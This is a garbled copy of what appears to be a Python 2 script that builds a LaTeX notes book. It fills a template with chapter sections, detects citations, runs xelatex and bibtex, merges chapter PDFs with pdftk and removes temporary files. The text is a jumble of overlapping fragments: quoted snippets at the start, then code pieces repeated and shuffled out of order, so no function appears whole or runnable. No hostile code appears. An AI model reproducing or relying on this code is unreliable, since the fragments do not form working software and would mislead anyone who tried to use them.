chapter,", "def contain_citation(section_name): with open(section_name, \"r\") as f: content_section = f.read()", "+= 'cat output ' + folder_target + 'AAABBBBBBBB.pdf' print mergecmd", "for section in depend_files: latex_text = latex_text + \"\\n\\\\input{\"+ section", "return True def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname", "need_bibtex(object_name, depend_files): #if a file contains latex citation command \\cite{}", "model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model = model.replace(\"ctexrep\", \"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\")", "\".log\") remove_tmp(texname + \".lof\") remove_tmp(texname + \".lot\") def read_bbl_file(object_name): file_bbl", "book_sections.extend(sections) book_chapters.append(chap) cmd = \"one\" if cmd == \"one\": gen_pdf(bookname)", "pdf_mtime): #return False for section in texfiles: if depend_modified(section, pdf_mtime):", "= gen_pdf(chap) or modified if modified: merge_chapter_pdfs() elif cmd ==", "for section in depend_files: if contain_citation(section): return True return False", "\".aux\") remove_tmp(texname + \".idx\") remove_tmp(texname + \".log\") remove_tmp(texname + \".lof\")", "+ \".tex\") remove_tmp(texname + \".blg\") remove_tmp(texname + \".bbl\") remove_tmp(texname +", "need_bibtex(object_name, depend_files) model = '' with open(file_model) as model_file: model", "model[:insert_pos] + insert_word for section in depend_files: latex_text = latex_text", "'Report' chap_sections[chap] = [section] book_chapters.append(chap) if not chap_sections.has_key(chap): print(chap +", "section_text != \"\": with open(section, 'w') as f: f.write(section_text) if", "#!/usr/bin/env python import shutil, re, os, sys file_model = \"Model.template\"", "os.path.isfile(object_pdf): # for target in targets: # shutil.copy(object_pdf, target) return", "texfiles: if depend_modified(section, pdf_mtime): return False return True def remove_tmp(tmpname):", "files: sections = get_sections(chap) if len(sections): chap_sections[chap] = sections book_sections.extend(sections)", "\"one\" if cmd == \"one\": gen_pdf(bookname) elif cmd == \"all\":", "+ \".out\") remove_tmp(texname + \".toc\") remove_tmp(texname + \".aux\") remove_tmp(texname +", "read_bbl_file(object_name) # os.system(\"bibtex \" + object_name) # if old_bbl !=", "' + folder_target + 'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd) ################################################## #now", "object_name == bookname: depend_files = book_sections targets = [folder_target +", "'%!Mode:: \"TeX:UTF-8\"\\n' + line + f.read() if section_text != \"\":", "model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word = \"TOADD\"", "'pdftk ' for chap in book_chapters: chappdf = folder_target +", "= chap_sections[object_name] targets = [folder_target + object_pdf] chapter_start_counter = book_chapters.index(object_name)", "chap_sections[chap] = [section] book_chapters.append(chap) if not chap_sections.has_key(chap): print(chap + \"", "# shutil.copy(object_pdf, target) return True #trim trailing slash def trim_chap_name(name):", "chap chap = 'Report' chap_sections[chap] = [section] book_chapters.append(chap) if not", "+ \"\\n\\\\input{\"+ section + \"}\" #prepend text encoding mode line", "os.system(\"xelatex \" + object_name) # # if os.path.isfile(object_pdf): # for", "= \"../pdf/\" #if name is a chapter, return its sections", "object_name + \".bbl\" if not os.path.isfile(file_bbl): return \"\" with open(file_bbl,", "depend_files: latex_text = latex_text + \"\\n\\\\input{\"+ section + \"}\" #prepend", "+ \"/\" + section) return sections def is_updated(pdffile, texfiles): def", "f: f.write(section_text) if obj_need_bibtex: latex_text = latex_text + \"\\n\\n\" latex_text", "remove_tmp(texname + \".idx\") remove_tmp(texname + \".log\") remove_tmp(texname + \".lof\") remove_tmp(texname", "output ' + folder_target + 'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd) ##################################################", "files = os.listdir(name) sections = [] for section in files:", "f: return f.read() #if depend_files contains citation def need_bibtex(object_name, depend_files):", "section in texfiles: if depend_modified(section, pdf_mtime): return False return True", "depend_files): # print(object_pdf + \" is updated\") # return False", "return True #trim trailing slash def trim_chap_name(name): if name[len(name) -", "shutil, re, os, sys file_model = \"Model.template\" bookname = \"TechNotes\"", "object_name) # # if os.path.isfile(object_pdf): # for target in targets:", "file_bibtex = \"thebib.bib\" folder_target = \"../pdf/\" #if name is a", "file contains latex citation command \\cite{} def contain_citation(section_name): with open(section_name,", "sys file_model = \"Model.template\" bookname = \"TechNotes\" file_bibtex = \"thebib.bib\"", "return [] files = os.listdir(name) sections = [] for section", "# if len(sys.argv) < 3 or sys.argv[2] != \"fast\": #", "= sections book_sections.extend(sections) book_chapters.append(chap) cmd = \"one\" if cmd ==", "model.replace(\"OBJECTNAME\", object_name) if object_name == 'Report': model = model.replace(\"CHAPTERSTART\", \"0\")", "\".blg\") remove_tmp(texname + \".bbl\") remove_tmp(texname + \".out\") remove_tmp(texname + \".toc\")", "name[len(name) - 1] == '/': name = name[:len(name)-1] return name", "= \"TOADD\" insert_pos = model.find(insert_word) latex_text = model[:insert_pos] + insert_word", "\"clean\": for chap in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap =", "command \\cite{} def contain_citation(section_name): with open(section_name, \"r\") as f: content_section", "= object_name + \".bbl\" if not os.path.isfile(file_bbl): return \"\" with", "os.system(\"xelatex \" + object_name) # os.system(\"xelatex \" + object_name) #", "folder_target + pdffile if not os.path.isfile(old_pdffile): return False pdf_mtime =", "get_sections(name): if not os.path.isdir(name): return [] files = os.listdir(name) sections", "old_pdffile = folder_target + pdffile if not os.path.isfile(old_pdffile): return False", "+ \"}\" #prepend text encoding mode line section_text = \"\"", "fname, ' mtime: ', depend_mtime return True return False old_pdffile", "= model[:insert_pos] + insert_word for section in depend_files: latex_text =", "\"Model.template\" bookname = \"TechNotes\" file_bibtex = \"thebib.bib\" folder_target = \"../pdf/\"", "return False return True def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def", "chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap = trim_chap_name(cmd) if chap in", "os, sys file_model = \"Model.template\" bookname = \"TechNotes\" file_bibtex =", "merge_chapter_pdfs() elif cmd == \"clean\": for chap in chap_sections: remove_latex_tmps(chap)", "\"all\": modified = False for chap in chap_sections: modified =", "pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime): #return False for section", "depend_files: if contain_citation(section): return True return False def gen_pdf(object_name): object_pdf", "sections def is_updated(pdffile, texfiles): def depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname)", "if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname + \".pdf\") remove_tmp(texname +", "= [folder_target + object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0", "text encoding mode line section_text = \"\" with open(section, 'r')", "file_model = \"Model.template\" bookname = \"TechNotes\" file_bibtex = \"thebib.bib\" folder_target", "as f: content_section = f.read() if content_section.find(\"\\\\cite{\") == -1: return", "actually a section section = chap chap = 'Report' chap_sections[chap]", "section in depend_files: if contain_citation(section): return True return False def", "folder_target = \"../pdf/\" #if name is a chapter, return its", "for chap in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap = trim_chap_name(cmd)", "cmd == \"one\": gen_pdf(bookname) elif cmd == \"all\": modified =", "a chapter, return its sections def get_sections(name): if not os.path.isdir(name):", "len(sections): chap_sections[chap] = sections book_sections.extend(sections) book_chapters.append(chap) cmd = \"one\" if", "chap in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap = trim_chap_name(cmd) if", "\"\" with open(file_bbl, 'r') as f: return f.read() #if depend_files", "return False def gen_pdf(object_name): object_pdf = object_name + \".pdf\" if", "section_text = '%!Mode:: \"TeX:UTF-8\"\\n' + line + f.read() if section_text", "elif cmd == \"all\": modified = False for chap in", "+ folder_target + 'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd) ################################################## #now work", "= folder_target + chap + '.pdf' if os.path.isfile(chappdf): mergecmd +=", "starts files = os.listdir('.') chap_sections = {} book_sections = []", "remove_tmp(texname + \".lot\") def read_bbl_file(object_name): file_bbl = object_name + \".bbl\"", "if chap in book_sections: #chap is actually a section section", "# return False obj_need_bibtex = need_bibtex(object_name, depend_files) model = ''", "return True return False old_pdffile = folder_target + pdffile if", "contains citation def need_bibtex(object_name, depend_files): #if a file contains latex", "= book_chapters.index(object_name) # if is_updated(object_pdf, depend_files): # print(object_pdf + \"", "# os.system(\"xelatex \" + object_name) # os.system(\"xelatex \" + object_name)", "sys.argv[2] != \"fast\": # if obj_need_bibtex: # old_bbl = read_bbl_file(object_name)", "pdf_mtime): return False return True def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname)", "\"%\\\\tableofcontents\") model = model.replace(\"ctexrep\", \"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else:", "def trim_chap_name(name): if name[len(name) - 1] == '/': name =", "book_sections = [] book_chapters = [] for chap in files:", "model = model_file.read() model = model.replace(\"OBJECTNAME\", object_name) if object_name ==", "+ \".aux\") remove_tmp(texname + \".idx\") remove_tmp(texname + \".log\") remove_tmp(texname +", "bookname: depend_files = book_sections targets = [folder_target + object_pdf, folder_target", "book_chapters = [] for chap in files: sections = get_sections(chap)", "+ insert_word for section in depend_files: latex_text = latex_text +", "not os.path.isfile(file_bbl): return \"\" with open(file_bbl, 'r') as f: return", "+ '.pdf' if os.path.isfile(chappdf): mergecmd += chappdf + ' '", "remove_tmp(texname + \".toc\") remove_tmp(texname + \".aux\") remove_tmp(texname + \".idx\") remove_tmp(texname", "insert_word = \"TOADD\" insert_pos = model.find(insert_word) latex_text = model[:insert_pos] +", "work starts files = os.listdir('.') chap_sections = {} book_sections =", "depend_files = chap_sections[object_name] targets = [folder_target + object_pdf] chapter_start_counter =", "+ \"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0 else: depend_files = chap_sections[object_name] targets", "chap in book_sections: #chap is actually a section section =", "object_name) # os.system(\"xelatex \" + object_name) # # if os.path.isfile(object_pdf):", "section + \"}\" #prepend text encoding mode line section_text =", "if obj_need_bibtex: # old_bbl = read_bbl_file(object_name) # os.system(\"bibtex \" +", "citation def need_bibtex(object_name, depend_files): #if a file contains latex citation", "python import shutil, re, os, sys file_model = \"Model.template\" bookname", "modified if modified: merge_chapter_pdfs() elif cmd == \"clean\": for chap", "False pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return False #if", "as f: return f.read() #if depend_files contains citation def need_bibtex(object_name,", "section = chap chap = 'Report' chap_sections[chap] = [section] book_chapters.append(chap)", "book_chapters.append(chap) if not chap_sections.has_key(chap): print(chap + \" is not a", "+ \" is not a valid chapter name\") sys.exit(1) modified", "'r') as f: return f.read() #if depend_files contains citation def", "if not os.path.isdir(name): return [] files = os.listdir(name) sections =", "model_file: model = model_file.read() model = model.replace(\"OBJECTNAME\", object_name) if object_name", "# os.system(\"bibtex \" + object_name) # if old_bbl != read_bbl_file(object_name):", "else: depend_files = chap_sections[object_name] targets = [folder_target + object_pdf] chapter_start_counter", "open(file_model) as model_file: model = model_file.read() model = model.replace(\"OBJECTNAME\", object_name)", "sections book_sections.extend(sections) book_chapters.append(chap) cmd = \"one\" if cmd == \"one\":", "chap in files: sections = get_sections(chap) if len(sections): chap_sections[chap] =", "= [folder_target + object_pdf] chapter_start_counter = book_chapters.index(object_name) # if is_updated(object_pdf,", "= book_sections targets = [folder_target + object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"]", "= model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word = \"TOADD\" insert_pos = model.find(insert_word) latex_text", "\"}\" #prepend text encoding mode line section_text = \"\" with", "if depend_mtime > ims: print pdffile, ' mtime: ',ims print", "if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section): sections.append(name + \"/\"", "= \"TechNotes\" file_bibtex = \"thebib.bib\" folder_target = \"../pdf/\" #if name", "+ \".bbl\" if not os.path.isfile(file_bbl): return \"\" with open(file_bbl, 'r')", "encoding mode line section_text = \"\" with open(section, 'r') as", "' mergecmd += 'cat output ' + folder_target + 'AAABBBBBBBB.pdf'", "shutil.copy(object_pdf, target) return True #trim trailing slash def trim_chap_name(name): if", "remove_tmp(texname + \".tex\") remove_tmp(texname + \".blg\") remove_tmp(texname + \".bbl\") remove_tmp(texname", "get_sections(chap) if len(sections): chap_sections[chap] = sections book_sections.extend(sections) book_chapters.append(chap) cmd =", "# if old_bbl != read_bbl_file(object_name): # os.system(\"xelatex \" + object_name)", "[] book_chapters = [] for chap in files: sections =", "+ chap + '.pdf' if os.path.isfile(chappdf): mergecmd += chappdf +", "'/': name = name[:len(name)-1] return name def merge_chapter_pdfs(): mergecmd =", "with open(section, 'r') as f: line = f.readline() if line[:6]", "sys.exit(1) modified = gen_pdf(chap) if modified and chap != 'Report':", "-1: return False return True for section in depend_files: if", "remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname + \".pdf\") remove_tmp(texname", "remove_tmp(texname + \".aux\") remove_tmp(texname + \".idx\") remove_tmp(texname + \".log\") remove_tmp(texname", "\"\" with open(section, 'r') as f: line = f.readline() if", "print(chap + \" is not a valid chapter name\") sys.exit(1)", "= \"one\" if cmd == \"one\": gen_pdf(bookname) elif cmd ==", "is_updated(pdffile, texfiles): def depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname) if depend_mtime", "mergecmd += 'cat output ' + folder_target + 'AAABBBBBBBB.pdf' print", "os.path.isfile(file_bbl): return \"\" with open(file_bbl, 'r') as f: return f.read()", "os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime): #return", "line + f.read() if section_text != \"\": with open(section, 'w')", "os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname + \".pdf\") remove_tmp(texname + \".tex\")", "+ ' ' mergecmd += 'cat output ' + folder_target", "= [] for chap in files: sections = get_sections(chap) if", "if len(sys.argv) < 3 or sys.argv[2] != \"fast\": # if", "re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section): sections.append(name + \"/\" +", "object_pdf = object_name + \".pdf\" if object_name == bookname: depend_files", "depend_mtime = os.path.getmtime(fname) if depend_mtime > ims: print pdffile, '", "= folder_target + pdffile if not os.path.isfile(old_pdffile): return False pdf_mtime", "remove_tmp(texname + \".blg\") remove_tmp(texname + \".bbl\") remove_tmp(texname + \".out\") remove_tmp(texname", "folder_target + 'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd) ################################################## #now work starts", "remove_tmp(texname + \".log\") remove_tmp(texname + \".lof\") remove_tmp(texname + \".lot\") def", "chap_sections: modified = gen_pdf(chap) or modified if modified: merge_chapter_pdfs() elif", "depend_files): #if a file contains latex citation command \\cite{} def", "def gen_pdf(object_name): object_pdf = object_name + \".pdf\" if object_name ==", "if object_name == bookname: depend_files = book_sections targets = [folder_target", "depend_mtime > ims: print pdffile, ' mtime: ',ims print fname,", "model.replace(\"CHAPTERSTART\", \"0\") model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model = model.replace(\"ctexrep\", \"ctexart\")", "slash def trim_chap_name(name): if name[len(name) - 1] == '/': name", "False obj_need_bibtex = need_bibtex(object_name, depend_files) model = '' with open(file_model)", "section section = chap chap = 'Report' chap_sections[chap] = [section]", "os.path.isfile(old_pdffile): return False pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return", "old_bbl != read_bbl_file(object_name): # os.system(\"xelatex \" + object_name) # os.system(\"xelatex", "= {} book_sections = [] book_chapters = [] for chap", "\" is not a valid chapter name\") sys.exit(1) modified =", "latex_text = latex_text + \"\\n\\n\" latex_text = latex_text + \"\\\\bibliographystyle{unsrt}\\n\"", "is not a valid chapter name\") sys.exit(1) modified = gen_pdf(chap)", "chapter, return its sections def get_sections(name): if not os.path.isdir(name): return", "#if depend_modified(file_model, pdf_mtime): #return False for section in texfiles: if", "for chap in files: sections = get_sections(chap) if len(sections): chap_sections[chap]", "not chap_sections.has_key(chap): print(chap + \" is not a valid chapter", "mtime: ', depend_mtime return True return False old_pdffile = folder_target", "object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0 else: depend_files =", "open(object_tex, \"w\") as f: f.write(latex_text) # os.system(\"xelatex \" + object_name)", "+ section) return sections def is_updated(pdffile, texfiles): def depend_modified(fname, ims):", "in files: if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section): sections.append(name", "object_name + \".tex\" with open(object_tex, \"w\") as f: f.write(latex_text) #", "# os.system(\"xelatex \" + object_name) # # if os.path.isfile(object_pdf): #", "cmd == \"all\": modified = False for chap in chap_sections:", "return True for section in depend_files: if contain_citation(section): return True", "name is a chapter, return its sections def get_sections(name): if", "[section] book_chapters.append(chap) if not chap_sections.has_key(chap): print(chap + \" is not", "= f.read() if content_section.find(\"\\\\cite{\") == -1: return False return True", "chap_sections[object_name] targets = [folder_target + object_pdf] chapter_start_counter = book_chapters.index(object_name) #", "\" + object_name) # if len(sys.argv) < 3 or sys.argv[2]", "gen_pdf(object_name): object_pdf = object_name + \".pdf\" if object_name == bookname:", "pdffile, ' mtime: ',ims print fname, ' mtime: ', depend_mtime", "' mtime: ',ims print fname, ' mtime: ', depend_mtime return", "object_name + \".pdf\" if object_name == bookname: depend_files = book_sections", "import shutil, re, os, sys file_model = \"Model.template\" bookname =", "a file contains latex citation command \\cite{} def contain_citation(section_name): with", "# # if os.path.isfile(object_pdf): # for target in targets: #", "name\") sys.exit(1) modified = gen_pdf(chap) if modified and chap !=", "sections = [] for section in files: if re.match('.*\\.tex$', section)", "files = os.listdir('.') chap_sections = {} book_sections = [] book_chapters", "{} book_sections = [] book_chapters = [] for chap in", "content_section = f.read() if content_section.find(\"\\\\cite{\") == -1: return False return", "!= \"fast\": # if obj_need_bibtex: # old_bbl = read_bbl_file(object_name) #", "if name[len(name) - 1] == '/': name = name[:len(name)-1] return", "cmd = \"one\" if cmd == \"one\": gen_pdf(bookname) elif cmd", "= name[:len(name)-1] return name def merge_chapter_pdfs(): mergecmd = 'pdftk '", "mergecmd os.system(mergecmd) ################################################## #now work starts files = os.listdir('.') chap_sections", "+ \".blg\") remove_tmp(texname + \".bbl\") remove_tmp(texname + \".out\") remove_tmp(texname +", "with open(section, 'w') as f: f.write(section_text) if obj_need_bibtex: latex_text =", "+ \"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text + \"\\\\bibliography{thebib}\\n\" latex_text = latex_text", "in chap_sections: modified = gen_pdf(chap) or modified if modified: merge_chapter_pdfs()", "= os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime):", "False for section in texfiles: if depend_modified(section, pdf_mtime): return False", "with open(file_bbl, 'r') as f: return f.read() #if depend_files contains", "= object_name + \".pdf\" if object_name == bookname: depend_files =", "remove_tmp(texname + \".out\") remove_tmp(texname + \".toc\") remove_tmp(texname + \".aux\") remove_tmp(texname", "if content_section.find(\"\\\\cite{\") == -1: return False return True for section", "model_file.read() model = model.replace(\"OBJECTNAME\", object_name) if object_name == 'Report': model", "model = '' with open(file_model) as model_file: model = model_file.read()", "return sections def is_updated(pdffile, texfiles): def depend_modified(fname, ims): depend_mtime =", "= latex_text + \"\\n\\\\input{\"+ section + \"}\" #prepend text encoding", "\"TeX:UTF-8\"\\n' + line + f.read() if section_text != \"\": with", "+ object_pdf] chapter_start_counter = book_chapters.index(object_name) # if is_updated(object_pdf, depend_files): #", "# os.system(\"xelatex \" + object_name) # if len(sys.argv) < 3", "f: line = f.readline() if line[:6] != '%!Mode': section_text =", "def is_updated(pdffile, texfiles): def depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname) if", "= get_sections(chap) if len(sections): chap_sections[chap] = sections book_sections.extend(sections) book_chapters.append(chap) cmd", "' mtime: ', depend_mtime return True return False old_pdffile =", "name = name[:len(name)-1] return name def merge_chapter_pdfs(): mergecmd = 'pdftk", "' ' mergecmd += 'cat output ' + folder_target +", "print(object_pdf + \" is updated\") # return False obj_need_bibtex =", "[folder_target + object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0 else:", "model.find(insert_word) latex_text = model[:insert_pos] + insert_word for section in depend_files:", "= read_bbl_file(object_name) # os.system(\"bibtex \" + object_name) # if old_bbl", "= [section] book_chapters.append(chap) if not chap_sections.has_key(chap): print(chap + \" is", "== \"clean\": for chap in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap", "== \"all\": modified = False for chap in chap_sections: modified", "modified = False for chap in chap_sections: modified = gen_pdf(chap)", "+ \".log\") remove_tmp(texname + \".lof\") remove_tmp(texname + \".lot\") def read_bbl_file(object_name):", "\".tex\" with open(object_tex, \"w\") as f: f.write(latex_text) # os.system(\"xelatex \"", "depend_files = book_sections targets = [folder_target + object_pdf, folder_target +", "' for chap in book_chapters: chappdf = folder_target + chap", "os.system(mergecmd) ################################################## #now work starts files = os.listdir('.') chap_sections =", "if os.path.isfile(chappdf): mergecmd += chappdf + ' ' mergecmd +=", "= chap chap = 'Report' chap_sections[chap] = [section] book_chapters.append(chap) if", "f.readline() if line[:6] != '%!Mode': section_text = '%!Mode:: \"TeX:UTF-8\"\\n' +", "modified = gen_pdf(chap) or modified if modified: merge_chapter_pdfs() elif cmd", "= latex_text + \"\\n\\n\" latex_text = latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text", "False old_pdffile = folder_target + pdffile if not os.path.isfile(old_pdffile): return", "\"0\") model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model = model.replace(\"ctexrep\", \"ctexart\") model", "for section in files: if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\",", "sections def get_sections(name): if not os.path.isdir(name): return [] files =", "not os.path.isdir(name): return [] files = os.listdir(name) sections = []", "remove_tmp(texname + \".bbl\") remove_tmp(texname + \".out\") remove_tmp(texname + \".toc\") remove_tmp(texname", "\".lof\") remove_tmp(texname + \".lot\") def read_bbl_file(object_name): file_bbl = object_name +", "obj_need_bibtex: # old_bbl = read_bbl_file(object_name) # os.system(\"bibtex \" + object_name)", "valid chapter name\") sys.exit(1) modified = gen_pdf(chap) if modified and", "+ \".lof\") remove_tmp(texname + \".lot\") def read_bbl_file(object_name): file_bbl = object_name", "object_name) # if len(sys.argv) < 3 or sys.argv[2] != \"fast\":", "with open(object_tex, \"w\") as f: f.write(latex_text) # os.system(\"xelatex \" +", "chap_sections.has_key(chap): print(chap + \" is not a valid chapter name\")", "\"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0 else: depend_files = chap_sections[object_name] targets =", "if obj_need_bibtex: latex_text = latex_text + \"\\n\\n\" latex_text = latex_text", "', depend_mtime return True return False old_pdffile = folder_target +", "targets = [folder_target + object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter =", "!= read_bbl_file(object_name): # os.system(\"xelatex \" + object_name) # os.system(\"xelatex \"", "\"w\") as f: f.write(latex_text) # os.system(\"xelatex \" + object_name) #", "'' with open(file_model) as model_file: model = model_file.read() model =", "3 or sys.argv[2] != \"fast\": # if obj_need_bibtex: # old_bbl", "read_bbl_file(object_name): file_bbl = object_name + \".bbl\" if not os.path.isfile(file_bbl): return", "\".bbl\" if not os.path.isfile(file_bbl): return \"\" with open(file_bbl, 'r') as", "else: model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word = \"TOADD\" insert_pos =", "insert_pos = model.find(insert_word) latex_text = model[:insert_pos] + insert_word for section", "= latex_text + \"\\\\bibliography{thebib}\\n\" latex_text = latex_text + model[insert_pos+len(insert_word):] object_tex", "= 'pdftk ' for chap in book_chapters: chappdf = folder_target", "in book_sections: #chap is actually a section section = chap", "book_chapters.index(object_name) # if is_updated(object_pdf, depend_files): # print(object_pdf + \" is", "line[:6] != '%!Mode': section_text = '%!Mode:: \"TeX:UTF-8\"\\n' + line +", "\"r\") as f: content_section = f.read() if content_section.find(\"\\\\cite{\") == -1:", "merge_chapter_pdfs(): mergecmd = 'pdftk ' for chap in book_chapters: chappdf", "model = model.replace(\"CHAPTERSTART\", \"0\") model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model =", "def need_bibtex(object_name, depend_files): #if a file contains latex citation command", "True for section in depend_files: if contain_citation(section): return True return", "# if obj_need_bibtex: # old_bbl = read_bbl_file(object_name) # os.system(\"bibtex \"", "\"TechNotes\" file_bibtex = \"thebib.bib\" folder_target = \"../pdf/\" #if name is", "contain_citation(section_name): with open(section_name, \"r\") as f: content_section = f.read() if", "folder_target + chap + '.pdf' if os.path.isfile(chappdf): mergecmd += chappdf", "section) return sections def is_updated(pdffile, texfiles): def depend_modified(fname, ims): depend_mtime", "\"\": with open(section, 'w') as f: f.write(section_text) if obj_need_bibtex: latex_text", "+ \".pdf\") remove_tmp(texname + \".tex\") remove_tmp(texname + \".blg\") remove_tmp(texname +", "folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0 else: depend_files = chap_sections[object_name]", "targets = [folder_target + object_pdf] chapter_start_counter = book_chapters.index(object_name) # if", "\".toc\") remove_tmp(texname + \".aux\") remove_tmp(texname + \".idx\") remove_tmp(texname + \".log\")", "section) and not re.match(\".*lmz0610.*\", section): sections.append(name + \"/\" + section)", "latex_text = latex_text + \"\\n\\\\input{\"+ section + \"}\" #prepend text", "return True return False def gen_pdf(object_name): object_pdf = object_name +", "= 0 else: depend_files = chap_sections[object_name] targets = [folder_target +", "+ \".pdf\" if object_name == bookname: depend_files = book_sections targets", "<reponame>truckli/technotes #!/usr/bin/env python import shutil, re, os, sys file_model =", "+ object_name) # if len(sys.argv) < 3 or sys.argv[2] !=", "depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime): #return False for", "################################################## #now work starts files = os.listdir('.') chap_sections = {}", "mergecmd = 'pdftk ' for chap in book_chapters: chappdf =", "< 3 or sys.argv[2] != \"fast\": # if obj_need_bibtex: #", "= object_name + \".tex\" with open(object_tex, \"w\") as f: f.write(latex_text)", "== '/': name = name[:len(name)-1] return name def merge_chapter_pdfs(): mergecmd", "\" is updated\") # return False obj_need_bibtex = need_bibtex(object_name, depend_files)", "if len(sections): chap_sections[chap] = sections book_sections.extend(sections) book_chapters.append(chap) cmd = \"one\"", "open(section, 'w') as f: f.write(section_text) if obj_need_bibtex: latex_text = latex_text", "'w') as f: f.write(section_text) if obj_need_bibtex: latex_text = latex_text +", "True return False old_pdffile = folder_target + pdffile if not", "\"one\": gen_pdf(bookname) elif cmd == \"all\": modified = False for", "depend_mtime return True return False old_pdffile = folder_target + pdffile", "os.path.isdir(name): return [] files = os.listdir(name) sections = [] for", "len(sys.argv) < 3 or sys.argv[2] != \"fast\": # if obj_need_bibtex:", "+ line + f.read() if section_text != \"\": with open(section,", "latex_text = latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text + \"\\\\bibliography{thebib}\\n\"", "contains latex citation command \\cite{} def contain_citation(section_name): with open(section_name, \"r\")", "os.listdir('.') chap_sections = {} book_sections = [] book_chapters = []", "files: if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section): sections.append(name +", "not os.path.isfile(old_pdffile): return False pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime):", "= model.replace(\"OBJECTNAME\", object_name) if object_name == 'Report': model = model.replace(\"CHAPTERSTART\",", "book_sections targets = [folder_target + object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter", "> ims: print pdffile, ' mtime: ',ims print fname, '", "#if a file contains latex citation command \\cite{} def contain_citation(section_name):", "depend_files contains citation def need_bibtex(object_name, depend_files): #if a file contains", "model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word = \"TOADD\" insert_pos = model.find(insert_word) latex_text =", "contain_citation(section): return True return False def gen_pdf(object_name): object_pdf = object_name", "+ \".lot\") def read_bbl_file(object_name): file_bbl = object_name + \".bbl\" if", "# if is_updated(object_pdf, depend_files): # print(object_pdf + \" is updated\")", "\".lot\") def read_bbl_file(object_name): file_bbl = object_name + \".bbl\" if not", "f: content_section = f.read() if content_section.find(\"\\\\cite{\") == -1: return False", "os.system(\"xelatex \" + object_name) # if len(sys.argv) < 3 or", "object_tex = object_name + \".tex\" with open(object_tex, \"w\") as f:", "#prepend text encoding mode line section_text = \"\" with open(section,", "obj_need_bibtex = need_bibtex(object_name, depend_files) model = '' with open(file_model) as", "[folder_target + object_pdf] chapter_start_counter = book_chapters.index(object_name) # if is_updated(object_pdf, depend_files):", "old_bbl = read_bbl_file(object_name) # os.system(\"bibtex \" + object_name) # if", "+ 'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd) ################################################## #now work starts files", "else: chap = trim_chap_name(cmd) if chap in book_sections: #chap is", "is a chapter, return its sections def get_sections(name): if not", "False #if depend_modified(file_model, pdf_mtime): #return False for section in texfiles:", "= [] book_chapters = [] for chap in files: sections", "= '%!Mode:: \"TeX:UTF-8\"\\n' + line + f.read() if section_text !=", "return False pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return False", "!= '%!Mode': section_text = '%!Mode:: \"TeX:UTF-8\"\\n' + line + f.read()", "= model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word =", "target) return True #trim trailing slash def trim_chap_name(name): if name[len(name)", "print fname, ' mtime: ', depend_mtime return True return False", "in files: sections = get_sections(chap) if len(sections): chap_sections[chap] = 